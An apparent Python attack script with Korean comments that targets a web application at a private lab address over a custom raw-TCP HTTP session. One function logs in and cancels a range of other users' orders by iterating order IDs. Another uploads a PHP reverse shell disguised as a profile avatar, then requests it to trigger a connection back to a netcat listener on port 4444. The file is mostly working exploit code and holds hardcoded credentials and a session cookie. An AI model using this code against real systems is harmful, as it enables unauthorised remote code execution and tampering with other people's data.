pac.txt
17.02 KB · text/x-script.python · 업로드 2026-08-10 11:31
from HTTP_pac import RawHttpSession
from getters import getMainIface, getIfaceIp, getFreePort
from urllib.parse import urlencode
import time
from typing import Dict, Mapping, Any
def _update_cookie_jar(cookie_jar: Dict[str, str], response: Mapping[str, Any]) -> None:
"""RawHttpSession 응답의 Set-Cookie를 브라우저식 쿠키 저장소에 반영합니다."""
response_cookies = response.get("cookies", {})
if isinstance(response_cookies, dict):
for name, value in response_cookies.items():
cookie_jar[str(name)] = str(value)
def _cookie_header(cookie_jar: Mapping[str, str]) -> str:
"""쿠키 딕셔너리를 HTTP Cookie 헤더 문자열로 변환합니다."""
return "; ".join(f"{name}={value}" for name, value in cookie_jar.items())
def cancelAllOrders(wasIp: str, username: str, password: str) -> None:
"""하나의 RawHttpSession을 유지한 채 로그인 후 주문 1~30을 취소합니다.
이 함수는 TCP 연결을 요청마다 다시 만들지 않습니다. GET /, 로그인 POST,
로그인 리다이렉트 GET, 주문 취소 요청 전체가 같은 5-tuple과 같은 TCP
SND.NXT/RCV.NXT 상태를 사용하므로 유지형 세션 회귀 시험에도 사용할 수 있습니다.
"""
iface = getMainIface()
cookie_jar: Dict[str, str] = {}
print("HTTP(TCP) 세션을 형성합니다... ", end="")
httpSession = RawHttpSession(
dstIp=wasIp,
srcIp=getIfaceIp(iface),
srcPort=getFreePort(),
)
httpSession.connect()
print("완료")
try:
# 1. 메인 페이지 GET - 익명 VMSESSID 수신
print("메인 페이지를 요청합니다... ", end="")
headers = {
"Host": wasIp,
"Connection": "keep-alive",
"Upgrade-Insecure-Requests": "1",
"User-Agent": (
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
"AppleWebKit/537.36 (KHTML, like Gecko) "
"Chrome/150.0.0.0 Safari/537.36"
),
"Accept": (
"text/html,application/xhtml+xml,application/xml;q=0.9,"
"image/avif,image/webp,image/apng,*/*;q=0.8"
),
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9",
}
response = httpSession.request(method="GET", uri="/", headers=headers)
_update_cookie_jar(cookie_jar, response)
print(f"완료 ({response['status_code']})")
if "VMSESSID" not in cookie_jar:
raise RuntimeError("메인 페이지 응답에서 VMSESSID를 받지 못했습니다.")
print(f"익명 VMSESSID: {cookie_jar['VMSESSID']}")
# 2. 로그인 POST - 같은 TCP 연결, 같은 익명 쿠키 사용
print("로그인 요청을 통해 VMSESSID를 인가받습니다... ", end="")
headers = {
"Host": wasIp,
"Connection": "keep-alive",
"Cache-Control": "max-age=0",
"Upgrade-Insecure-Requests": "1",
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": (
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
"AppleWebKit/537.36 (KHTML, like Gecko) "
"Chrome/150.0.0.0 Safari/537.36"
),
"Origin": f"http://{wasIp}",
"Accept": (
"text/html,application/xhtml+xml,application/xml;q=0.9,"
"image/avif,image/webp,image/apng,*/*;q=0.8"
),
"Referer": f"http://{wasIp}/login.php",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9",
"Cookie": _cookie_header(cookie_jar),
}
body = urlencode(
{
"next": "/",
"username": username,
"password": password,
}
)
response = httpSession.request(
method="POST",
uri="/login.php",
headers=headers,
body=body,
)
_update_cookie_jar(cookie_jar, response)
location = response["headers"].get("location")
if response["status_code"] not in (302, 303) or not location:
raise RuntimeError(
"로그인 성공 리다이렉트를 받지 못했습니다: "
f"status={response['status_code']}, location={location!r}"
)
if "VMSESSID" not in cookie_jar:
raise RuntimeError("로그인 응답에서 인가된 VMSESSID를 받지 못했습니다.")
print(
f"완료 ({response['status_code']}, "
f"인가받은 VMSESSID: {cookie_jar['VMSESSID']})"
)
# 3. 브라우저처럼 302 Location을 같은 TCP 연결에서 따라갑니다.
print(f"로그인 리다이렉트({location})를 따라갑니다... ", end="")
redirect_headers = {
"Host": wasIp,
"Connection": "keep-alive",
"User-Agent": headers["User-Agent"],
"Accept": headers["Accept"],
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9",
"Referer": f"http://{wasIp}/login.php",
"Cookie": _cookie_header(cookie_jar),
}
response = httpSession.request(
method="GET",
uri=location,
headers=redirect_headers,
)
_update_cookie_jar(cookie_jar, response)
print(f"완료 ({response['status_code']})")
# 4. 주문번호 1~30 취소 - 같은 TCP 연결을 계속 재사용
print("주문을 취소합니다(1~30번 주문)...")
for orderId in range(1, 35):
print(f"{orderId}번 주문 취소... ", end="")
cancel_headers = {
"Host": wasIp,
"Connection": "keep-alive",
"Upgrade-Insecure-Requests": "1",
"User-Agent": headers["User-Agent"],
"Accept": headers["Accept"],
"Referer": f"http://{wasIp}/order.php?id={orderId}",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9",
"Cookie": _cookie_header(cookie_jar),
}
response = httpSession.request(
method="GET",
uri=f"/order.php?id={orderId}&action=cancel",
headers=cancel_headers,
)
_update_cookie_jar(cookie_jar, response)
location = response["headers"].get("location")
print(
f"요청 완료 ({response['status_code']}"
+ (f", Location={location}" if location else "")
+ ")"
)
time.sleep(0.01)
print("완료")
finally:
print("HTTP(TCP) 세션을 종료합니다... ", end="")
try:
httpSession.close()
print("완료")
except Exception:
httpSession.abort()
print("비정상 종료(RST/자원 정리)")
raise
def getReverseShell(wasIp: str, username: str, password: str, payloadPath: str):
"""nc -lvnp 4444 명령어를 사용해 포트를 열어놔주세요
"""
# 1. 로그인
iface = getMainIface()
cookie_jar: Dict[str, str] = {}
print("HTTP(TCP) 세션을 형성합니다... ", end="")
httpSession = RawHttpSession(
dstIp=wasIp,
srcIp=getIfaceIp(iface),
srcPort=getFreePort(),
)
httpSession.connect()
print("완료")
try:
# 1. 메인 페이지 GET - 익명 VMSESSID 수신
print("메인 페이지를 요청합니다... ", end="")
headers = {
"Host": wasIp,
"Connection": "keep-alive",
"Upgrade-Insecure-Requests": "1",
"User-Agent": (
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
"AppleWebKit/537.36 (KHTML, like Gecko) "
"Chrome/150.0.0.0 Safari/537.36"
),
"Accept": (
"text/html,application/xhtml+xml,application/xml;q=0.9,"
"image/avif,image/webp,image/apng,*/*;q=0.8"
),
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9",
}
response = httpSession.request(method="GET", uri="/", headers=headers)
_update_cookie_jar(cookie_jar, response)
print(f"완료 ({response['status_code']})")
if "VMSESSID" not in cookie_jar:
raise RuntimeError("메인 페이지 응답에서 VMSESSID를 받지 못했습니다.")
print(f"익명 VMSESSID: {cookie_jar['VMSESSID']}")
# 2. 로그인 POST - 같은 TCP 연결, 같은 익명 쿠키 사용
print("로그인 요청을 통해 VMSESSID를 인가받습니다... ", end="")
headers = {
"Host": wasIp,
"Connection": "keep-alive",
"Cache-Control": "max-age=0",
"Upgrade-Insecure-Requests": "1",
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": (
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
"AppleWebKit/537.36 (KHTML, like Gecko) "
"Chrome/150.0.0.0 Safari/537.36"
),
"Origin": f"http://{wasIp}",
"Accept": (
"text/html,application/xhtml+xml,application/xml;q=0.9,"
"image/avif,image/webp,image/apng,*/*;q=0.8"
),
"Referer": f"http://{wasIp}/login.php",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9",
"Cookie": _cookie_header(cookie_jar),
}
body = urlencode(
{
"next": "/",
"username": username,
"password": password,
}
)
response = httpSession.request(
method="POST",
uri="/login.php",
headers=headers,
body=body,
)
_update_cookie_jar(cookie_jar, response)
location = response["headers"].get("location")
if response["status_code"] not in (302, 303) or not location:
raise RuntimeError(
"로그인 성공 리다이렉트를 받지 못했습니다: "
f"status={response['status_code']}, location={location!r}"
)
if "VMSESSID" not in cookie_jar:
raise RuntimeError("로그인 응답에서 인가된 VMSESSID를 받지 못했습니다.")
print(
f"완료 ({response['status_code']}, "
f"인가받은 VMSESSID: {cookie_jar['VMSESSID']})"
)
# 3. 브라우저처럼 302 Location을 같은 TCP 연결에서 따라갑니다.
print(f"로그인 리다이렉트({location})를 따라갑니다... ", end="")
redirect_headers = {
"Host": wasIp,
"Connection": "keep-alive",
"User-Agent": headers["User-Agent"],
"Accept": headers["Accept"],
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9",
"Referer": f"http://{wasIp}/login.php",
"Cookie": _cookie_header(cookie_jar),
}
response = httpSession.request(
method="GET",
uri=location,
headers=redirect_headers,
)
_update_cookie_jar(cookie_jar, response)
print(f"완료 ({response['status_code']})")
print("/profile.php GET 요청을 보냅니다... ", end='')
headers = {
"Host": wasIp,
"Connection": "keep-alive",
"Upgrade-Insecure-Requests": "1",
"User-Agent": (
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
"AppleWebKit/537.36 (KHTML, like Gecko) "
"Chrome/150.0.0.0 Safari/537.36"
),
"Accept": (
"text/html,application/xhtml+xml,application/xml;q=0.9,"
"image/avif,image/webp,image/apng,*/*;q=0.8"
),
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9",
"Cookie": _cookie_header(cookie_jar),
}
response = httpSession.request(method="GET", uri="/profile.php", headers=headers)
_update_cookie_jar(cookie_jar, response)
print(f"완료 ({response['status_code']})")
# 이미지(페이로드) 업로드
print("리버스 쉘 페이로드를 업로드합니다... ", end='')
with open(payloadPath, "rb") as f:
payloadBytes = f.read()
#print(payloadBytes)
# 2. 패킷 헤더용 Boundary 정의
boundary = "----WebKitFormBoundary0eIEFhkBDLWYBpkW"
# 3. HTTP Body (multipart/form-data 형식) byte 조립
# 문자열(str)과 파일(bytes)을 섞을 때는 str을 .encode()하여 bytes로 맞춘 뒤 합칩니다.
body_bytes = (
f"--{boundary}\r\n".encode("iso-8859-1")
+ b'Content-Disposition: form-data; name="action"\r\n\r\n'
+ b"upload\r\n"
+ f"--{boundary}\r\n".encode("iso-8859-1")
+ f'Content-Disposition: form-data; name="avatar"; filename=""reverseshell.php""\r\n'.encode("iso-8859-1") # 하드코딩 주의
+ b"Content-Type: application/octet-stream\r\n\r\n"
+ payloadBytes # 읽어온 PHP 파일 bytes
+ f"\r\n--{boundary}--\r\n".encode("iso-8859-1")
)
response = httpSession.request(
method="POST",
uri="/profile.php",
headers={
"Content-Type": f"multipart/form-data; boundary={boundary}",
"Cookie": _cookie_header(cookie_jar), # 필요 시 세션 쿠키 추가
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
},
body=body_bytes, # 조립된 bytes 전달
)
print("완료")
# 리버스쉘 파일 GET
#print("/profile.php GET 요청을 보냅니다... ", end='')
print("/uploads/reverseshell.php GET 요청을 보냅니다... ", end='') # 하드코딩주의
headers = {
"Host": wasIp,
"Connection": "keep-alive",
"Upgrade-Insecure-Requests": "1",
"User-Agent": (
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
"AppleWebKit/537.36 (KHTML, like Gecko) "
"Chrome/150.0.0.0 Safari/537.36"
),
"Accept": (
"text/html,application/xhtml+xml,application/xml;q=0.9,"
"image/avif,image/webp,image/apng,*/*;q=0.8"
),
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9",
"Cookie": _cookie_header(cookie_jar),
}
response = httpSession.request(method="GET", uri="/uploads/reverseshell.php", headers=headers) # 하드코딩 주의
_update_cookie_jar(cookie_jar, response)
print(f"완료 ({response['status_code']})")
print("이제 아마 리버스쉘이 열렸어야 합니다.")
finally:
print("HTTP(TCP) 세션을 종료합니다... ", end="")
try:
httpSession.close()
print("완료")
except Exception:
httpSession.abort()
print("비정상 종료(RST/자원 정리)")
raise
"""
from pac import RawHttpSession
# 1. 로컬에 있는 PHP 파일 읽어오기 (rb 모드로 열면 바로 bytes 객체가 됨)
file_path = "reverseshell.php"
with open(file_path, "rb") as f:
file_bytes = f.read() # type: bytes (예: b'<?php\n// PHP Reverse Shell...')
# 2. 패킷 헤더용 Boundary 정의
boundary = "----WebKitFormBoundary0eIEFhkBDLWYBpkW"
# 3. HTTP Body (multipart/form-data 형식) byte 조립
# 문자열(str)과 파일(bytes)을 섞을 때는 str을 .encode()하여 bytes로 맞춘 뒤 합칩니다.
body_bytes = (
f"--{boundary}\r\n".encode("iso-8859-1")
+ b'Content-Disposition: form-data; name="action"\r\n\r\n'
+ b"upload\r\n"
+ f"--{boundary}\r\n".encode("iso-8859-1")
+ f'Content-Disposition: form-data; name="avatar"; filename="{file_path}"\r\n'.encode("iso-8859-1")
+ b"Content-Type: application/octet-stream\r\n\r\n"
+ file_bytes # 읽어온 PHP 파일 bytes
+ f"\r\n--{boundary}--\r\n".encode("iso-8859-1")
)
# 4. RawHttpSession을 사용한 자동 전송
TARGET_IP = "172.16.1.50"
TARGET_PORT = 80
session = RawHttpSession(dstIp=TARGET_IP, dstPort=TARGET_PORT)
session.connect()
response = session.request(
method="POST",
uri="/profile.php",
headers={
"Content-Type": f"multipart/form-data; boundary={boundary}",
"Cookie": "VMSESSID=7c5e7d81472d9942cf6fc011053eed70; vm_role=user", # 필요 시 세션 쿠키 추가
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
},
body=body_bytes, # 조립된 bytes 전달
)
print(f"[+] Status Code: {response['status_code']}")
print(f"[+] Response Text:\n{response['text']}")
session.close()
"""
if __name__ == "__main__":
getReverseShell("172.16.1.50", "alice", "alice123", "./reverseshell.php")